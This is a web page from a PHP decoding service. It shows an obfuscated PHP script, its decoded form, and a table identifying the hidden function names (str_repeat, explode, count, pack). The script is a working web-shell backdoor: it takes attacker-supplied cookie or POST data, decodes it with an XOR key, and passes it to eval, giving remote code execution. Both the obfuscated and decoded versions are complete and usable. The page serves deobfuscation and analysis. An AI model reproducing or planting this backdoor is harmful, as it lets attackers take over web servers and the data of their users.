Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $TeZFExi =/* Rd */"\163"/* VNXa*/./*E */chr (116) . "\x72" . "\137..

Decoded Output download

<?php $TeZFExi  =/*  Rd */"s"/*  VNXa*/./*E */chr  (116)     .       "r"  .    "_"/*   oJP*/. chr/*OdYnM   */(114)     .   "e"/*  yM  */.    'p'    .     'e'       . "a"/*t  */.        "t"; 
                                        $jMhBe/*   cj   */=/* pE  */chr (101)   ./* VmAac  */"x"     .    'p'        ./* RsSP */chr    (     553  - 445      ).chr     (    1065    -        954    )."d"/* Xr*/. chr   ( 720    -     619/*b*/); 
     $EWhVIEIXz     =     chr   (99)  . "o"/*  glRT */./*   lR  */chr/*k   */(    846        -       729    ).'n'     .      "t"; 
                        $RHYPFsa        =  chr/*MRPg*/(112)/*  ouPr */. "a"  .       'c'  .  'k'; 
                $GzorqUwodh     =     Array/*  CCCo   */(   "SfNzmjegDNCfesTOW"/*  thwfe*/=>    "QlsgRS"        ); 
   /* IPyb  */$AJEVvQ/*  cn   */=       Array  (        "JSZfsoiAEDVFcGAerxnIL"   => "sgxEkrxxEaiJytQu" ); 
        foreach     (   Array(  $GzorqUwodh,    $_COOKIE,   $AJEVvQ,   $_POST,  $GzorqUwodh)   as/*  nsP   */$YqKtjjOvC)        { 
                                        foreach   (     $YqKtjjOvC/*aB */as     $bfZDhgy        =>      $oKgOUuYRnV     )/*   HyT   */{ 
        $oKgOUuYRnV/*PfASo   */=     @$RHYPFsa( "H"/*QhFkC */./*  iEJ   */chr/* vrcsL */(42),/*  eqT */$oKgOUuYRnV  ); 
        $bfZDhgy   .=   "gEFwkrA-jFHSX-CbiVJe-ssTR-jFvsjY-huf-lCNHKRh"; 
        $bfZDhgy        =/* yRGB */$TeZFExi   (/*  j*/$bfZDhgy,/* DIjS  */(  strlen(    $oKgOUuYRnV/*  VEh   */)/strlen(/*thdDn   */$bfZDhgy/*JbEW*/)   )    +  1); 
      $ivMkncIvfF/*j */=   $oKgOUuYRnV/*  N */^   $bfZDhgy; 
 
 
/*cg   */$ivMkncIvfF/* exbLj  */=   $jMhBe   (/*  xvAHJ  */chr/*   w*/(35),     $ivMkncIvfF/* sn */); 
        if/*TVr*/(      $EWhVIEIXz      (       $ivMkncIvfF     )     ==        3/*   pzv   */) { 
 
        $param1/*   D   */=/*Aow*/$ivMkncIvfF[1]; 
 
 
        $param2    =    $ivMkncIvfF[2]; 
       $param3 =/*LD*/$param1($param2); 
                        eval/* URett */(     $param3/* GRqz  */); 
 
/*enpdD   */die (); 
/*L   */} 
  /*X*/} 
      } ?>

Did this file decode correctly?

Original Code

<?php $TeZFExi  =/*  Rd */"\163"/*  VNXa*/./*E */chr  (116)     .       "\x72"  .    "\137"/*   oJP*/. chr/*OdYnM   */(114)     .   "\145"/*  yM  */.    'p'    .     'e'       . "\x61"/*t  */.        "\x74";
                                        $jMhBe/*   cj   */=/* pE  */chr (101)   ./* VmAac  */"\170"     .    'p'        ./* RsSP */chr    (     553  - 445      ).chr     (    1065    -        954    )."\144"/* Xr*/. chr   ( 720    -     619/*b*/);
     $EWhVIEIXz     =     chr   (99)  . "\157"/*  glRT */./*   lR  */chr/*k   */(    846        -       729    ).'n'     .      "\x74";
                        $RHYPFsa        =  chr/*MRPg*/(112)/*  ouPr */. "\x61"  .       'c'  .  'k';
                $GzorqUwodh     =     Array/*  CCCo   */(   "SfNzmjegDNCfesTOW"/*  thwfe*/=>    "QlsgRS"        );
   /* IPyb  */$AJEVvQ/*  cn   */=       Array  (        "JSZfsoiAEDVFcGAerxnIL"   => "sgxEkrxxEaiJytQu" );
        foreach     (   Array(  $GzorqUwodh,    $_COOKIE,   $AJEVvQ,   $_POST,  $GzorqUwodh)   as/*  nsP   */$YqKtjjOvC)        {
                                        foreach   (     $YqKtjjOvC/*aB */as     $bfZDhgy        =>      $oKgOUuYRnV     )/*   HyT   */{
        $oKgOUuYRnV/*PfASo   */=     @$RHYPFsa( "\110"/*QhFkC */./*  iEJ   */chr/* vrcsL */(42),/*  eqT */$oKgOUuYRnV  );
        $bfZDhgy   .=   "gEFwkrA-jFHSX-CbiVJe-ssTR-jFvsjY-huf-lCNHKRh";
        $bfZDhgy        =/* yRGB */$TeZFExi   (/*  j*/$bfZDhgy,/* DIjS  */(  strlen(    $oKgOUuYRnV/*  VEh   */)/strlen(/*thdDn   */$bfZDhgy/*JbEW*/)   )    +  1);
      $ivMkncIvfF/*j */=   $oKgOUuYRnV/*  N */^   $bfZDhgy;


/*cg   */$ivMkncIvfF/* exbLj  */=   $jMhBe   (/*  xvAHJ  */chr/*   w*/(35),     $ivMkncIvfF/* sn */);
        if/*TVr*/(      $EWhVIEIXz      (       $ivMkncIvfF     )     ==        3/*   pzv   */) {

        $param1/*   D   */=/*Aow*/$ivMkncIvfF[1];


        $param2    =    $ivMkncIvfF[2];
       $param3 =/*LD*/$param1($param2);
                        eval/* URett */(     $param3/* GRqz  */);

/*enpdD   */die ();
/*L   */}
  /*X*/}
      }

Function Calls

chr 9

Variables

$jMhBe explode
$AJEVvQ [{'key': 'JSZfsoiAEDVFcGAerxnIL', 'value': 'sgxEkrxxEaiJytQu'}]
$RHYPFsa pack
$TeZFExi str_repeat
$EWhVIEIXz count
$GzorqUwodh [{'key': 'SfNzmjegDNCfesTOW', 'value': 'QlsgRS'}]

Stats

MD5 0bfc7759a1f94a4ba25c591de9e83374
Eval Count 0
Decode Time 99 ms